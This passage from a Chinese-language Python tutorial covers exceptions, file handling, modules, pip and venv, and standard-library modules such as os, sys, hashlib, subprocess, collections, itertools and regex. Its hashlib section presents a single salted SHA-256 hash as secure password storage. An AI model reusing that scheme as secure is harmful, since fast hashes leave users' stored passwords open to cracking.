# FileNotFoundError 被静默忽略,不会报错
# closing:确保对象有 close() 方法
from contextlib import closing
# 常用于数据库连接等
@contextmanager 中 yield 的值会赋给 as 变量异常处理是程序健壮性的保障。就像开车时的安全气囊——你希望永远用不到,但万一出了事故,它能保护你。本章会教你如何捕获、处理和抛出异常,让你的程序在遇到错误时不会直接崩溃。
异常(Exception)和语法错误(SyntaxError)不同:
# 常见异常示例
print(10 / 0) # ZeroDivisionError: 除以零
print(int("abc")) # ValueError: 无法转换为整数
print(name) # NameError: 变量未定义
lst = [1, 2, 3]
print(lst[10]) # IndexError: 索引越界
d = {"a": 1}
print(d["b"]) # KeyError: 键不存在
print(int + 1) # TypeError: 类型错误
try 块中放可能出错的代码,except 块中放出错后的处理逻辑。
# 基本语法
try:
num = int(input("请输入数字:"))
result = 10 / num
print(f"结果是:{result}")
except ValueError:
print("输入的不是数字!")
except ZeroDivisionError:
print("不能除以零!")
# 执行流程:
# 1. 执行 try 块中的代码
# 2. 如果发生 ValueError → 执行第一个 except 块
# 3. 如果发生 ZeroDivisionError → 执行第二个 except 块
# 4. 如果没有异常 → 跳过所有 except 块
# 捕获多种异常(用元组)
try:
# 可能出错的代码
pass
except (ValueError, TypeError) as e:
print(f"出错了:{e}")
# 捕获所有异常(不推荐滥用)
try:
pass
except Exception as e:
print(f"出错了:{e}")
# 获取异常信息
try:
1 / 0
except ZeroDivisionError as e:
print(f"异常类型: {type(e).__name__}") # ZeroDivisionError
print(f"异常信息: {e}") # division by zero
捕获所有异常会隐藏真正的错误,让调试变得困难。只捕获你预期会发生的异常。
try:
num = int(input("输入数字:"))
result = 10 / num
except ValueError:
print("不是数字")
except ZeroDivisionError:
print("不能除以零")
else:
# 没有异常时执行(可选)
print(f"结果是:{result}")
finally:
# 无论如何都会执行(通常用于清理资源)
print("程序结束")
# 执行流程:
# 有异常: try → except → finally
# 无异常: try → else → finally
class AgeError(ValueError):
"""年龄不合法时抛出"""
pass
class ScoreError(ValueError):
"""分数不合法时抛出"""
def __init__(self, score, message="分数必须在 0-100 之间"):
self.score = score
self.message = message
super().__init__(self.message)
def set_age(age):
if age < 0 or age > 150:
raise AgeError(f"年龄 {age} 不合法,必须在 0-150 之间")
print(f"年龄设置为:{age}")
def set_score(score):
if not 0 <= score <= 100:
raise ScoreError(score)
print(f"分数设置为:{score}")
# 使用
try:
set_age(200)
except AgeError as e:
print(f"错误:{e}")
try:
set_score(150)
except ScoreError as e:
print(f"错误:{e},你输入的是 {e.score}")
def process_data(data):
try:
return int(data)
except ValueError as original:
raise RuntimeError("数据处理失败") from original
# from original 保留了原始异常信息
try:
process_data("abc")
except RuntimeError as e:
print(f"错误:{e}")
print(f"原始原因:{e.__cause__}")
except: pass 是最糟糕的做法文件操作是编程中最常见的任务之一——读取配置文件、保存数据、处理日志等。本章会教你如何读写文本文件、二进制文件,以及处理 JSON、CSV 等常见格式。还会介绍 pathlib,这是 Python 推荐的现代路径操作方式。
| 模式 | 说明 | 文件不存在时 |
|---|---|---|
r | 只读(默认) | 报错 |
w | 写入(覆盖) | 创建新文件 |
a | 追加 | 创建新文件 |
r+ | 读写 | 报错 |
x | 创建(文件已存在则报错) | 创建新文件 |
# 写入文件
with open("test.txt", "w", encoding="utf-8") as f:
f.write("第一行\n")
f.write("第二行\n")
f.write("第三行\n")
# 读取整个文件
with open("test.txt", "r", encoding="utf-8") as f:
content = f.read()
print(content)
# 逐行读取(推荐,内存友好)
with open("test.txt", "r", encoding="utf-8") as f:
for line in f:
print(line.strip()) # strip() 去掉换行符
# 读取为列表
with open("test.txt", "r", encoding="utf-8") as f:
lines = f.readlines() # ['第一行\n', '第二行\n', '第三行\n']
# 追加模式
with open("test.txt", "a", encoding="utf-8") as f:
f.write("追加的内容\n")
在 Windows 上,如果不指定 encoding="utf-8",中文内容可能会乱码。建议总是指定编码。
# 复制图片(二进制模式)
with open("photo.jpg", "rb") as src:
data = src.read()
with open("photo_copy.jpg", "wb") as dst:
dst.write(data)
# rb = 读二进制,wb = 写二进制
# 适用于图片、音频、视频等非文本文件
JSON(JavaScript Object Notation)是一种轻量级的数据交换格式。它和 Python 的字典非常像,是 Web API 最常用的数据格式。
import json
# Python 对象 → JSON 字符串
data = {"name": "张三", "age": 18, "scores": [90, 85, 95]}
json_str = json.dumps(data, ensure_ascii=False, indent=2)
print(json_str)
# {
# "name": "张三",
# "age": 18,
# "scores": [90, 85, 95]
# }
# JSON 字符串 → Python 对象
parsed = json.loads(json_str)
print(parsed["name"]) # 张三
# 写入 JSON 文件
with open("data.json", "w", encoding="utf-8") as f:
json.dump(data, f, ensure_ascii=False, indent=2)
# 从 JSON 文件读取
with open("data.json", "r", encoding="utf-8") as f:
data = json.load(f)
ensure_ascii=False:允许输出中文(否则中文会变成 \uXXXX)indent=2:缩进 2 个空格,输出更美观sort_keys=True:按键名排序import csv
# 写入 CSV
with open("users.csv", "w", newline="", encoding="utf-8") as f:
writer = csv.writer(f)
writer.writerow(["姓名", "年龄", "城市"])
writer.writerow(["张三", 18, "北京"])
writer.writerow(["李四", 20, "上海"])
# 读取 CSV
with open("users.csv", "r", encoding="utf-8") as f:
reader = csv.reader(f)
for row in reader:
print(row)
# ['姓名', '年龄', '城市']
# ['张三', '18', '北京']
# ['李四', '20', '上海']
# 用字典方式读写(推荐,更清晰)
with open("users.csv", "r", encoding="utf-8") as f:
reader = csv.DictReader(f)
for row in reader:
print(f"{row['姓名']},{row['年龄']}岁")
pathlib 是 Python 3.4 引入的模块,用面向对象的方式处理路径,比传统的 os.path 更直观、更安全。
from pathlib import Path
# 创建路径对象
p = Path("documents/notes")
print(p) # documents/notes
# 常用操作
home = Path.home() # 用户主目录
cwd = Path.cwd() # 当前目录
file_path = cwd / "test.txt" # 用 / 拼路径(比 os.path.join 更直观)
# 路径信息
p = Path("/home/user/test.py")
print(p.name) # test.py(文件名)
print(p.stem) # test(不含后缀)
print(p.suffix) # .py(后缀)
print(p.parent) # /home/user(父目录)
# 判断
print(p.exists()) # 是否存在
print(p.is_file()) # 是否是文件
print(p.is_dir()) # 是否是目录
# 文件操作
Path("new_file.txt").write_text("Hello", encoding="utf-8")
content = Path("new_file.txt").read_text(encoding="utf-8")
# 遍历目录
for f in Path(".").glob("*.py"): # 当前目录的 .py 文件
print(f)
for f in Path(".").rglob("*.txt"): # 递归搜索所有 .txt
print(f)
pathlib 或 os.path.join当你的代码越来越多,把所有东西放在一个文件里就变得不可维护。模块和包让你把代码组织成独立的文件和目录,就像把文件分类放进不同的文件夹。本章还会介绍 __name__ 的作用、包的结构,以及如何使用 pip 管理第三方库和虚拟环境。
# math_utils.py(这是一个模块)
def add(a, b):
return a + b
def multiply(a, b):
return a * b
PI = 3.14159
# main.py(导入并使用模块)
import math_utils
print(math_utils.add(3, 5)) # 8
print(math_utils.PI) # 3.14159
# 只导入部分内容
from math_utils import add, PI
print(add(3, 5)) # 8
# 起别名
import math_utils as mu
print(mu.add(3, 5))
# 导入全部(不推荐,容易命名冲突)
from math_utils import *
import math_utils:导入整个模块,用 math_utils.xxx 访问from math_utils import add:只导入 add,直接用 add() 调用import math_utils as mu:起别名,用 mu.xxx 访问from math_utils import *:导入全部(不推荐,容易命名冲突)# math_utils.py
def add(a, b):
return a + b
# 当直接运行此文件时,__name__ 是 "__main__"
# 当被其他文件 import 时,__name__ 是 "math_utils"
if __name__ == "__main__":
# 只在直接运行时执行的测试代码
print(add(3, 5)) # 8
print("测试通过!")
# 这个模式非常常见,几乎所有 Python 文件都会用到
包就是一个包含 __init__.py 文件的目录。它让你把多个模块组织在一起。
myproject/
├── main.py
└── mypackage/
├── __init__.py # 标识这是一个包(可以为空)
├── module_a.py
└── module_b.py
# __init__.py
from .module_a import func_a
from .module_b import func_b
# main.py
from mypackage import func_a, func_b
# 或者
from mypackage.module_a import func_a
# os:操作系统相关
import os
print(os.getcwd()) # 当前工作目录
print(os.listdir(".")) # 列出目录内容
os.makedirs("new_dir", exist_ok=True) # 创建目录
# sys:系统相关
import sys
print(sys.version) # Python 版本
print(sys.path) # 模块搜索路径
# datetime:日期时间
from datetime import datetime, timedelta
now = datetime.now()
print(now.strftime("%Y-%m-%d %H:%M:%S"))
tomorrow = now + timedelta(days=1)
# random:随机数
import random
print(random.randint(1, 100)) # 随机整数
print(random.choice(["a", "b", "c"])) # 随机选择
# hashlib:哈希/摘要
import hashlib
text = "Hello"
md5 = hashlib.md5(text.encode()).hexdigest()
sha256 = hashlib.sha256(text.encode()).hexdigest()
# 安装第三方包
pip install requests
pip install flask==2.3.0 # 指定版本
pip install -r requirements.txt
# 查看已安装的包
pip list
pip show requests
# 导出/导入依赖
pip freeze > requirements.txt
# 创建虚拟环境(推荐每个项目一个)
python -m venv myenv
# 激活虚拟环境
# Windows: myenv\Scripts\activate
# macOS/Linux: source myenv/bin/activate
# 退出虚拟环境
deactivate
不同项目可能需要同一个库的不同版本。虚拟环境让每个项目有独立的依赖环境,互不干扰。这是 Python 开发的最佳实践。
你去图书馆借书,图书馆会按顺序搜索:先查本楼层的书架(当前目录),再查其他楼层(PYTHONPATH),最后查总馆(标准库目录)。Python 搜索模块也是按顺序的:sys.path 中的路径依次查找。
import sys
# 查看模块搜索路径
for path in sys.path:
print(path)
# 搜索顺序:
# 1. 当前目录(运行脚本所在的目录)
# 2. PYTHONPATH 环境变量指定的目录
# 3. 标准库目录(如 Python312/Lib/)
# 4. 第三方包目录(如 Python312/Lib/site-packages/)
# 临时添加搜索路径(不推荐,只用于调试)
sys.path.append("/my/custom/modules")
# 正确做法:用虚拟环境 + pip 安装
# ===== ❌ 循环导入导致 ImportError =====
# module_a.py
from module_b import func_b # 导入 module_b
def func_a():
return "A"
# module_b.py
from module_a import func_a # 导入 module_a → 💥 ImportError!
def func_b():
return "B"
# 运行 module_a.py 时,Python 执行流程:
# 1. 开始导入 module_b
# 2. module_b 尝试导入 module_a
# 3. module_a 还没加载完(正在第 1 步),部分初始化
# 4. module_b 找不到 func_a → ImportError
# ===== ✅ 解决方案 1:把共享代码提取到第三个模块 =====
# shared.py
def func_a(): return "A"
def func_b(): return "B"
# module_a.py
from shared import func_b # 不再循环
# module_b.py
from shared import func_a # 不再循环
# ===== ✅ 解决方案 2:延迟导入(在函数内部导入)=====
# module_a.py
def func_a():
from module_b import func_b # 调用时才导入,避免循环
return f"A + {func_b()}"
random.py、email.py 等,会覆盖标准库Python 的标准库就像一个"工具箱",里面装满了各种实用工具。本章介绍最常用的几个:datetime(日期时间)、random(随机数)、logging(日志)和 argparse(命令行参数)。掌握这些工具,你的代码会更专业、更实用。
from datetime import datetime, date, time, timedelta
# 当前时间
now = datetime.now()
print(now) # 2024-01-15 14:30:25.123456
# 创建指定时间
dt = datetime(2024, 1, 15, 14, 30, 0)
print(dt)
# 时间差
delta = timedelta(days=7, hours=3)
future = now + delta # 7天3小时后
past = now - delta # 7天3小时前
# 格式化输出
print(now.strftime("%Y年%m月%d日 %H:%M:%S")) # 2024年01月15日 14:30:25
print(now.strftime("%Y-%m-%d")) # 2024-01-15
# 解析字符串为时间
dt = datetime.strptime("2024-01-15 14:30", "%Y-%m-%d %H:%M")
# 常用格式符
# %Y=年(4位) %m=月(01-12) %d=日(01-31)
# %H=时(24h) %M=分 %S=秒 %A=星期名 %B=月份名
import random
# 随机整数
print(random.randint(1, 100)) # 1-100 之间的随机整数
# 随机浮点数
print(random.random()) # 0-1 之间
print(random.uniform(1.0, 10.0)) # 1.0-10.0 之间
# 随机选择
fruits = ["苹果", "香蕉", "橘子"]
print(random.choice(fruits)) # 随机选一个
print(random.sample(fruits, 2)) # 随机选 2 个(不重复)
# 打乱顺序
cards = list(range(1, 11))
random.shuffle(cards) # 原地打乱
print(cards)
# 设置种子(可复现的随机)
random.seed(42)
print(random.randint(1, 100)) # 每次运行都一样
import logging
# 基本配置
logging.basicConfig(
level=logging.DEBUG,
format="%(asctime)s [%(levelname)s] %(message)s",
datefmt="%Y-%m-%d %H:%M:%S"
)
# 五个日志级别(从低到高)
logging.debug("调试信息") # 开发时用
logging.info("一般信息") # 正常运行信息
logging.warning("警告") # 需要注意
logging.error("错误") # 出了问题
logging.critical("严重错误") # 程序可能无法继续
# 输出到文件
logging.basicConfig(filename="app.log", level=logging.INFO)
# 推荐用法:在模块中获取 logger
logger = logging.getLogger(__name__)
logger.info("模块加载完成")
开发调试用 print 没问题,但正式项目一定要用 logging。logging 可以控制级别、输出到文件、带时间戳,而且上线时可以轻松关掉 debug 日志。
import argparse
parser = argparse.ArgumentParser(description="一个示例程序")
# 添加参数
parser.add_argument("name", help="你的名字")
parser.add_argument("-a", "--age", type=int, default=18, help="年龄")
parser.add_argument("-v", "--verbose", action="store_true", help="详细模式")
args = parser.parse_args()
print(f"你好,{args.name}!")
if args.verbose:
print(f"年龄:{args.age}")
# 运行:python script.py 张三 -a 25 -v
# 输出:你好,张三!
# 年龄:25
import os
# ===== 获取系统信息 =====
print(os.name) # 操作系统类型:posix(nt/windows)
print(os.getcwd()) # 当前工作目录
print(os.environ.get("PATH")) # 环境变量
# ===== 文件和目录操作 =====
os.makedirs("dir1/dir2", exist_ok=True) # 创建目录(递归)
os.removedirs("dir1/dir2") # 删除目录(递归)
os.listdir(".") # 列出目录内容
os.rename("old.txt", "new.txt") # 重命名
os.remove("file.txt") # 删除文件
# ===== 路径操作 =====
os.path.exists("file.txt") # 文件是否存在
os.path.isfile("file.txt") # 是否是文件
os.path.isdir("dir") # 是否是目录
os.path.getsize("file.txt") # 文件大小(字节)
os.path.join("dir", "file.txt") # 拼接路径
os.path.dirname("/a/b/c.txt") # 目录部分:/a/b
os.path.basename("/a/b/c.txt") # 文件名部分:c.txt
os.path.splitext("file.txt") # 分离扩展名:('file', '.txt')
# ===== 环境变量 =====
os.environ["MY_VAR"] = "hello" # 设置环境变量
value = os.getenv("MY_VAR", "default") # 获取环境变量(带默认值)
# ===== 执行系统命令 =====
os.system("ls -la") # 执行命令(不推荐)
# 推荐用 subprocess 模块
import sys
# ===== 命令行参数 =====
print(sys.argv) # 命令行参数列表:['script.py', 'arg1', 'arg2']
print(sys.argv[0]) # 脚本名称
if len(sys.argv) > 1:
print(sys.argv[1]) # 第一个参数
# ===== Python 信息 =====
print(sys.version) # Python 版本
print(sys.platform) # 平台:win32/linux/darwin
print(sys.executable) # Python 解释器路径
print(sys.path) # 模块搜索路径
# ===== 标准输入输出 =====
sys.stdout.write("hello\n") # 标准输出
sys.stderr.write("error\n") # 标准错误
# ===== 退出程序 =====
sys.exit(0) # 正常退出
sys.exit("出错了") # 异常退出(显示错误信息)
# ===== 内存和递归 =====
print(sys.getsizeof([1,2,3])) # 对象占用内存
sys.setrecursionlimit(2000) # 设置递归深度限制
# ===== 实用场景:动态添加模块路径 =====
sys.path.append("/my/custom/modules")
from pathlib import Path
# ===== 创建路径对象 =====
p = Path(".") # 当前目录
p = Path("/home/user/file.txt") # 绝对路径
p = Path("dir") / "sub" / "file.txt" # 用 / 拼接路径(推荐)
# ===== 路径信息 =====
p = Path("/home/user/document.txt")
print(p.name) # 文件名:document.txt
print(p.stem) # 不含扩展名:document
print(p.suffix) # 扩展名:.txt
print(p.parent) # 父目录:/home/user
print(p.parts) # 路径各部分:('/', 'home', 'user', 'document.txt')
print(p.exists()) # 是否存在
print(p.is_file()) # 是否是文件
print(p.is_dir()) # 是否是目录
# ===== 文件操作 =====
p = Path("test.txt")
p.write_text("Hello, World!", encoding="utf-8") # 写入文本
content = p.read_text(encoding="utf-8") # 读取文本
print(content)
# 写入/读取字节
p.write_bytes(b"binary data")
data = p.read_bytes()
# ===== 目录操作 =====
p = Path("new_dir")
p.mkdir(exist_ok=True) # 创建目录
p.mkdir(parents=True, exist_ok=True) # 递归创建
# 遍历目录
for f in Path(".").iterdir():
print(f.name)
# glob 匹配
for f in Path(".").glob("*.py"):
print(f.name)
# 递归匹配
for f in Path(".").rglob("*.py"):
print(f)
# ===== 实用场景 =====
# 获取当前脚本所在目录
script_dir = Path(__file__).parent
# 获取用户主目录
home = Path.home()
# 创建临时文件路径
temp_file = Path("temp") / "data.json"
import hashlib
# ===== 计算字符串的哈希 =====
text = "Hello, World!"
# MD5(不推荐用于安全场景)
md5 = hashlib.md5(text.encode()).hexdigest()
print(f"MD5: {md5}")
# SHA-1
sha1 = hashlib.sha1(text.encode()).hexdigest()
print(f"SHA-1: {sha1}")
# SHA-256(推荐)
sha256 = hashlib.sha256(text.encode()).hexdigest()
print(f"SHA-256: {sha256}")
# ===== 计算文件的哈希 =====
def file_hash(filepath, algorithm="sha256"):
"""计算文件哈希"""
h = hashlib.new(algorithm)
with open(filepath, "rb") as f:
while chunk := f.read(8192):
h.update(chunk)
return h.hexdigest()
# print(file_hash("myfile.txt"))
# ===== 密码哈希(加盐)=====
import secrets
def hash_password(password):
"""安全的密码哈希"""
salt = secrets.token_hex(16) # 生成随机盐
pwd_hash = hashlib.sha256((password + salt).encode()).hexdigest()
return f"{salt}:{pwd_hash}"
def verify_password(stored_hash, password):
"""验证密码"""
salt, pwd_hash = stored_hash.split(":")
return hashlib.sha256((password + salt).encode()).hexdigest() == pwd_hash
# 使用
hashed = hash_password("my_secret_password")
print(f"哈希: {hashed}")
print(f"验证: {verify_password(hashed, 'my_secret_password')}") # True
print(f"验证: {verify_password(hashed, 'wrong_password')}") # False
import subprocess
# ===== 简单执行 =====
result = subprocess.run(["ls", "-la"], capture_output=True, text=True)
print(result.stdout) # 标准输出
print(result.returncode) # 返回码(0=成功)
# ===== 执行 Python 脚本 =====
result = subprocess.run(
["python", "-c", "print('Hello from subprocess')"],
capture_output=True,
text=True
)
print(result.stdout)
# ===== 捕获错误 =====
result = subprocess.run(
["python", "-c", "import nonexistent_module"],
capture_output=True,
text=True
)
if result.returncode != 0:
print(f"错误: {result.stderr}")
# ===== 管道操作 =====
# 等价于:ls -la | grep ".py"
p1 = subprocess.Popen(["ls", "-la"], stdout=subprocess.PIPE, text=True)
p2 = subprocess.Popen(["grep", ".py"], stdin=p1.stdout, stdout=subprocess.PIPE, text=True)
p1.stdout.close()
output = p2.communicate()[0]
print(output)
# ===== 超时控制 =====
try:
result = subprocess.run(
["sleep", "10"],
timeout=3 # 3秒超时
)
except subprocess.TimeoutExpired:
print("命令超时")
# ===== 推荐用法:安全执行命令 =====
def run_command(cmd, cwd=None):
"""安全执行命令"""
try:
result = subprocess.run(
cmd,
capture_output=True,
text=True,
cwd=cwd,
timeout=30
)
return {
"success": result.returncode == 0,
"stdout": result.stdout,
"stderr": result.stderr,
"returncode": result.returncode
}
except subprocess.TimeoutExpired:
return {"success": False, "error": "命令超时"}
result = run_command(["git", "status"])
if result["success"]:
print(result["stdout"])
collections 和 functools 是 Python 标准库中的"瑞士军刀"。collections 提供了比内置类型更强大的数据结构(Counter、defaultdict、deque 等),functools 提供了函数式编程的工具(lru_cache、partial、reduce 等)。掌握它们,你的代码会更简洁、更高效。
Counter 是一个专门用来计数的字典。统计元素出现次数?一行搞定。
from collections import Counter
# 统计元素出现次数
words = ["apple", "banana", "apple", "cherry", "banana", "apple"]
counter = Counter(words)
print(counter) # Counter({'apple': 3, 'banana': 2, 'cherry': 1})
print(counter.most_common(2)) # [('apple', 3), ('banana', 2)]
# 统计字符串
print(Counter("abracadabra")) # Counter({'a': 5, 'b': 2, 'r': 2, 'c': 1, 'd': 1})
# 计数器运算
c1 = Counter(a=3, b=1)
c2 = Counter(a=1, b=2)
print(c1 + c2) # Counter({'a': 4, 'b': 3})
print(c1 - c2) # Counter({'a': 2})
普通字典访问不存在的键会报 KeyError,defaultdict 不会——它会自动创建默认值。
from collections import defaultdict
# 普通字典统计词频要这样写
word_count = {}
for word in ["apple", "banana", "apple"]:
if word not in word_count:
word_count[word] = 0
word_count[word] += 1
# defaultdict 一行搞定
word_count = defaultdict(int) # 默认值是 0
for word in ["apple", "banana", "apple"]:
word_count[word] += 1
print(dict(word_count)) # {'apple': 2, 'banana': 1}
# 按属性分组
students = [
("男", "张三"), ("女", "李四"), ("男", "王五"), ("女", "赵六")
]
groups = defaultdict(list)
for gender, name in students:
groups[gender].append(name)
print(dict(groups)) # {'男': ['张三', '王五'], '女': ['李四', '赵六']}
deque 是一个两端都可以快速添加和删除的列表。比普通列表的 insert(0, x) 快得多。
list 在头部插入/删除是 O(n)(需要移动所有元素),deque 在两端操作都是 O(1)。处理 10 万个元素时,差距可达 1000 倍。
from collections import deque
import time
# ===== 性能对比:头部插入 =====
# list 头部插入:每次都要移动所有元素 → O(n)
lst = []
start = time.time()
for i in range(100000):
lst.insert(0, i) # 每次插入都要移动所有已有元素
print(f"list.insert(0, x) × 100000:{time.time() - start:.3f}秒") # 约 0.5 秒
# deque 头部插入:直接操作 → O(1)
dq = deque()
start = time.time()
for i in range(100000):
dq.appendleft(i) # 不需要移动元素
print(f"deque.appendleft(x) × 100000:{time.time() - start:.3f}秒") # 约 0.01 秒(快 50 倍)
# ===== 基本操作 =====
dq = deque([1, 2, 3])
dq.append(4) # 右边加:[1, 2, 3, 4]
dq.appendleft(0) # 左边加:[0, 1, 2, 3, 4]
dq.pop() # 右边删:[0, 1, 2, 3]
dq.popleft() # 左边删:[1, 2, 3]
# 固定长度的 deque(自动丢弃另一端)
dq = deque(maxlen=3)
dq.extend([1, 2, 3]) # [1, 2, 3]
dq.append(4) # [2, 3, 4](1 被挤掉了)
# 旋转
dq = deque([1, 2, 3, 4, 5])
dq.rotate(2) # [4, 5, 1, 2, 3]
dq.rotate(-2) # [1, 2, 3, 4, 5]
LRU Cache 把函数的计算结果缓存起来,下次用相同参数调用时直接返回缓存结果,不用重新计算。
你问小明"1+1等于几",他算了一下说"2"。下次你再问同样的问题,他直接说"2"——不需要重新算。lru_cache 就是这个"记忆"机制。LRU(最近最少使用)的意思是:记忆容量满了时,把最久没用过的答案忘掉,腾出空间记新答案。
from functools import lru_cache
import time
# ===== 不加缓存:指数级重复计算 =====
def fib_slow(n):
if n <= 2:
return 1
return fib_slow(n - 1) + fib_slow(n - 2)
start = time.time()
fib_slow(35)
print(f"不加缓存:{time.time() - start:.3f}秒") # 约 3 秒
# ===== 加缓存:每个值只计算一次 =====
@lru_cache(maxsize=128)
def fib_fast(n):
if n <= 2:
return 1
return fib_fast(n - 1) + fib_fast(n - 2)
start = time.time()
fib_fast(35)
print(f"加缓存:{time.time() - start:.6f}秒") # 约 0.00003 秒(快 10 万倍!)
# 查看缓存信息
print(fib_fast.cache_info())
# CacheInfo(hits=33, misses=36, maxsize=128, currsize=36)
# hits=33:33 次直接返回缓存结果(没重新计算)
# misses=36:36 次需要计算(首次遇到的参数)
固定函数的部分参数,生成一个简化版的新函数。
from functools import partial
def power(base, exponent):
return base ** exponent
square = partial(power, exponent=2)
cube = partial(power, exponent=3)
print(square(5)) # 25
print(cube(3)) # 27
对列表中的元素依次应用函数,把序列"归约"成一个值。
from functools import reduce
# 对列表中的元素依次应用函数
numbers = [1, 2, 3, 4, 5]
total = reduce(lambda a, b: a + b, numbers)
print(total) # 15 (1+2+3+4+5)
product = reduce(lambda a, b: a * b, numbers)
print(product) # 120 (1*2*3*4*5)
from functools import wraps
def my_decorator(func):
@wraps(func) # 保留原函数的 __name__, __doc__ 等
def wrapper(*args, **kwargs):
return func(*args, **kwargs)
return wrapper
@my_decorator
def greet():
"""打招呼"""
print("hello")
print(greet.__name__) # greet(没有 @wraps 会是 wrapper)
print(greet.__doc__) # 打招呼
import itertools
# ===== 无限迭代器 =====
# count:无限计数器
for i in itertools.count(10, 2): # 从10开始,步长2
if i > 20:
break
print(i) # 10, 12, 14, 16, 18, 20
# cycle:无限循环
colors = itertools.cycle(["红", "绿", "蓝"])
for _, color in zip(range(6), colors):
print(color) # 红, 绿, 蓝, 红, 绿, 蓝
# repeat:重复
list(itertools.repeat("hello", 3)) # ['hello', 'hello', 'hello']
# ===== 组合迭代器 =====
# chain:连接多个可迭代对象
list1 = [1, 2, 3]
list2 = ['a', 'b', 'c']
list3 = [100, 200]
result = list(itertools.chain(list1, list2, list3))
print(result) # [1, 2, 3, 'a', 'b', 'c', 100, 200]
# product:笛卡尔积
colors = ["红", "蓝"]
sizes = ["S", "M", "L"]
for item in itertools.product(colors, sizes):
print(item) # ('红', 'S'), ('红', 'M'), ('红', 'L'), ('蓝', 'S') ...
# permutations:排列(顺序有关)
for p in itertools.permutations([1, 2, 3], 2):
print(p) # (1,2), (1,3), (2,1), (2,3), (3,1), (3,2)
# combinations:组合(顺序无关)
for c in itertools.combinations([1, 2, 3, 4], 2):
print(c) # (1,2), (1,3), (1,4), (2,3), (2,4), (3,4)
# combinations_with_replacement:可重复组合
for c in itertools.combinations_with_replacement([1, 2, 3], 2):
print(c) # (1,1), (1,2), (1,3), (2,2), (2,3), (3,3)
# ===== 数据处理迭代器 =====
# groupby:分组
data = [
{"name": "张三", "dept": "技术部"},
{"name": "李四", "dept": "技术部"},
{"name": "王五", "dept": "市场部"},
{"name": "赵六", "dept": "市场部"},
]
# 必须先排序!
data.sort(key=lambda x: x["dept"])
for dept, group in itertools.groupby(data, key=lambda x: x["dept"]):
members = [item["name"] for item in group]
print(f"{dept}: {members}")
# 技术部: ['张三', '李四']
# 市场部: ['王五', '赵六']
# islice:切片迭代器
result = list(itertools.islice(itertools.count(), 5, 10))
print(result) # [5, 6, 7, 8, 9]
# takewhile:满足条件时取元素
result = list(itertools.takewhile(lambda x: x < 5, [1, 3, 5, 2, 4]))
print(result) # [1, 3]
# dropwhile:满足条件时跳过元素
result = list(itertools.dropwhile(lambda x: x < 5, [1, 3, 5, 2, 4]))
print(result) # [5, 2, 4]
# filterfalse:过滤掉满足条件的
result = list(itertools.filterfalse(lambda x: x % 2 == 0, range(10)))
print(result) # [1, 3, 5, 7, 9]
# accumulate:累积计算
result = list(itertools.accumulate([1, 2, 3, 4, 5]))
print(result) # [1, 3, 6, 10, 15](累加)
result = list(itertools.accumulate([1, 2, 3, 4, 5], lambda a, b: a * b))
print(result) # [1, 2, 6, 24, 120](累乘)
# zip_longest:最长的 zip
result = list(itertools.zip_longest([1, 2, 3], ['a', 'b'], fillvalue='-'))
print(result) # [(1, 'a'), (2, 'b'), (3, '-')]
# ===== 实战场景 =====
# 场景1:生成所有可能的密码组合
import string
chars = string.ascii_lowercase + string.digits # a-z + 0-9
for combo in itertools.product(chars, repeat=2):
print(''.join(combo), end=' ') # aa ab ac ... 99
# 场景2:扁平化嵌套列表
nested = [[1, 2], [3, 4], [5, 6]]
flat = list(itertools.chain.from_iterable(nested))
print(flat) # [1, 2, 3, 4, 5, 6]
# 场景3:滑动窗口
def sliding_window(iterable, n):
it = iter(iterable)
window = list(itertools.islice(it, n))
yield tuple(window)
for item in it:
window = window[1:] + [item]
yield tuple(window)
for window in sliding_window([1, 2, 3, 4, 5], 3):
print(window)
# (1, 2, 3)
# (2, 3, 4)
# (3, 4, 5)
正则表达式(Regular Expression,简称 regex)是一种用来匹配文本模式的工具。就像一个"万能搜索器"——你告诉它"我要找什么样的文本",它就能帮你找到。正则表达式看起来像天书,但掌握基本语法后,它会成为你处理文本的最强大武器。
正则表达式(Regular Expression,简称 regex)是一种用来匹配文本模式的工具。比如"找出所有手机号""判断是否是邮箱地址"等。
想象你在一堆快递包裹中找"北京市朝阳区"的包裹。你不会一个个拆开看,而是看外包装上的地址。正则表达式就是你告诉快递员的"筛选规则"——北京市.*朝阳区 意思是"以北京市开头,中间不管是什么,朝阳区结尾"的包裹都给我。它是一种描述文本模式的语言。
| 模式 | 含义 | 示例 |
|---|---|---|
. | 任意一个字符(除换行) | a.c 匹配 "abc", "a1c" |
\d | 数字 [0-9] | \d\d 匹配 "42" |
\w | 字母、数字、下划线 | \w+ 匹配 "hello_123" |
\s | 空白字符 | a\sb 匹配 "a b" |
\D \W \S | 上面的反义 | \D 匹配非数字 |
* | 0 次或多次 | ab*c 匹配 "ac", "abc", "abbc" |
+ | 1 次或多次 | ab+c 匹配 "abc", "abbc" |
? | 0 次或 1 次 | colou?r 匹配 "color", "colour" |
{n} | 恰好 n 次 | \d{3} 匹配 "123" |
{n,m} | n 到 m 次 | \d{2,4} 匹配 "12", "1234" |
^ | 开头 | ^Hello 匹配以 Hello 开头 |
$ | 结尾 | world$ 匹配以 world 结尾 |
[abc] | a 或 b 或 c | [aeiou] 匹配元音 |
[^abc] | 不是 a/b/c | [^0-9] 匹配非数字 |
(...) | 分组捕获 | (\d+)-(\d+) 捕获两组数字 |
a|b | a 或 b | cat|dog 匹配 "cat" 或 "dog" |
import re
text = "我的手机号是 13812345678,邮箱是 test@gmail.com"
# search:查找第一个匹配
result = re.search(r"1[3-9]\d{9}", text)
if result:
print(f"找到手机号:{result.group()}") # 13812345678
# findall:查找所有匹配
numbers = re.findall(r"\d+", "价格是 100 元,数量是 5 个")
print(numbers) # ['100', '5']
# match:只匹配开头
print(re.match(r"\d+", "123abc")) # 匹配成功
print(re.match(r"\d+", "abc123")) # None(不在开头)
# sub:替换
text2 = re.sub(r"\d+", "***", "电话:13812345678")
print(text2) # 电话:***
# split:按模式分割
parts = re.split(r"[,;\s]+", "apple, banana; cherry orange")
print(parts) # ['apple', 'banana', 'cherry', 'orange']
# 编译(频繁使用时更快)
pattern = re.compile(r"1[3-9]\d{9}")
print(pattern.findall("手机 13812345678 和 15987654321"))
你去自助餐厅,贪婪模式就像"能拿多少拿多少"——盘子堆得满满的;非贪婪模式就像"够吃就行"——只拿一点点。正则中的 .* 是贪婪的(尽量多匹配),.*? 是非贪婪的(尽量少匹配)。
Python 的正则引擎是NFA(非确定性有限自动机)。它的匹配过程可以理解为"试探-回溯":
*、+、?、{n,m})时,需要决定"匹配多少个"。import re
text = "<div>Hello</div><div>World</div>"
# ===== 贪婪匹配:.* 尽量多匹配 =====
